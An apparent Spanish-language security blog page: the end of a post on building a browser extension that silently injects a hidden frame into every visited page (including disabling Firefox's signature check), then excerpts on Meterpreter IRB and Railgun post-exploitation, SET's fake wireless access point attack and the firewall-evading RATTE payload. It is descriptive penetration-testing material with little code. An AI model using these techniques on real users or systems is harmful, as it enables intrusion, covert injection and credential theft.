3. En el caso de que los content o background scripts requieran de elementos externos, como el caso de un script como “jquery”, es necesario ubicar dicho fichero en el directorio “src/common” al mismo nivel en el que se encuentran dichos scripts.
Finalmente, basta simplemente con desplegar la extensión directamente en cualquier navegador soportado, del mismo modo que se instala cualquier extensión y una vez realizado dicho proceso, se podrá ver el botón de la extensión en la barra de extensiones del navegador.

4. En el caso de instalar la extensión de una versión reciente de Firefox, es posible que no sea posible hacerlo debido a que por defecto, el navegador admite únicamente extensiones firmadas. Ver en detalle el siguiente artículo de Mozilla: https://support.mozilla.org/t5/Problems-with-add-ons-plugins-or/Add-on-signing-in-Firefox/ta-p/30262 la solución para realizar pruebas es simple, entrar en la página web de administración del navegador “about:config” y cambiar el valor de la propiedad “xpinstall.signatures.required” a false.

Ahora, con la extensión activa, es posible navegar por cualquier sitio en Internet y se podrá apreciar en el árbol DOM de cada página, que se incluye un elemento “frame” que si bien, no es visible de cara al usuario, si se ve puede ver en el código fuente de la página.

 

De momento sólo tenemos una extensión básica, pero aún falta la parte en la que se introducen instrucciones que pueden ser interesantes de cara a un atacante, esto se verá en el siguiente artículo en donde se indicarán las alternativas disponibles partiendo de lo que se ha explicado en éste post.

Un saludo y Happy Hack!
Adastra.

Utilizando IRB desde Meterpreter, Explorando RailGun

octubre 5, 2011 Deja un comentario

Railgun es una extensión de Metepreter diseñada específicamente para maquinas comprometidas bajo plataformas windows y permite realizar invocaciones directas a la API de windows así como cargar librerías DDL a la maquina comprometida y ejecutar posteriormente el código contenido en ellas. El uso de Railgun facilita mucho algunas actividades que con Meterpreter por si solo pueden ser un poco complejas o requerir privilegios de administrador, con Railgun muchos de los scripts ejecutados no necesitan que se cuente con privilegios administrativos sobre la maquina comprometida.

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Utilizando IRB desde Meterpreter y ejecutando código sobre una máquina comprometida

octubre 3, 2011 Deja un comentario

Tal como se ha visto en la entrada anterior, el uso de IRB es bastante parecido a Python en modo interactivo, donde se permite entre otras cosas, la inclusión de código linea por linea y la ejecución de scripts Ruby, todas estas características pueden ser utilizadas en MetaSploit justo en el paso de post-explotación, Meterpreter permite utilizar IRB para manipular procesos, memoria, claves del registro, etc.  sobre la maquina comprometida

meterpreter > irb
[*] Starting IRB shell
[*] The ‘client’ variable holds the meterpreter client

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Conceptos Básicos y Avanzados de SET (Social Engineer Toolkit) – Características avanzadas de SET – Wireless Access Point Attack Vector – Parte VIII

septiembre 28, 2011 Deja un comentario

SET incluye un vector de ataque bastante utilizando por atacantes en redes inalámbricas, consiste precisamente en la creación de un Access Point falso donde se tratan cada uno de los paquetes que viajan por la interfaz de red inalámbrica del atacante. Para realizar estas operaciones utiliza aircrack-ng, esta utilidad como probablemente algunos de los lectores sabrán, es una suite de herramientas enfocadas específicamente a la realización de diversos ataques y operativas relacionadas con dispositivos inalámbricos, además de que permite realizar ataques contra WEB/WPA2.0 para capturar las credenciales de acceso de un AP determinado. Ahora bien, antes de comenzar a utilizar SET es necesario tener algunas consideraciones relacionadas con los servicios que se deben encontrar instalados en la maquina del atacante antes de poder iniciar adecuadamente un access point falso desde SET.

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Conceptos Básicos y Avanzados de SET (Social Engineer Toolkit) – Características avanzadas de SET – RATTE en SET – Parte VII

septiembre 26, 2011 1 comentario

Una de las ultimas características añadidas al framework de SET ha sido RATTE (Remote Administration Tool Tommy Edition) se trata de un payload que intenta evadir restricciones sobre el trafico saliente que pudieran existir en el segmento de red del objetivo, como por ejemplo un IDS o Firewall establecido en dicha red, este objetivo se consigue gracias a que todos los comandos que se ejecutan se realizan completamente por medio de una comunicación HTTP (tanto en el envío de la ejecución del comando como en el retorno de los resultados del mismo desde el cliente).

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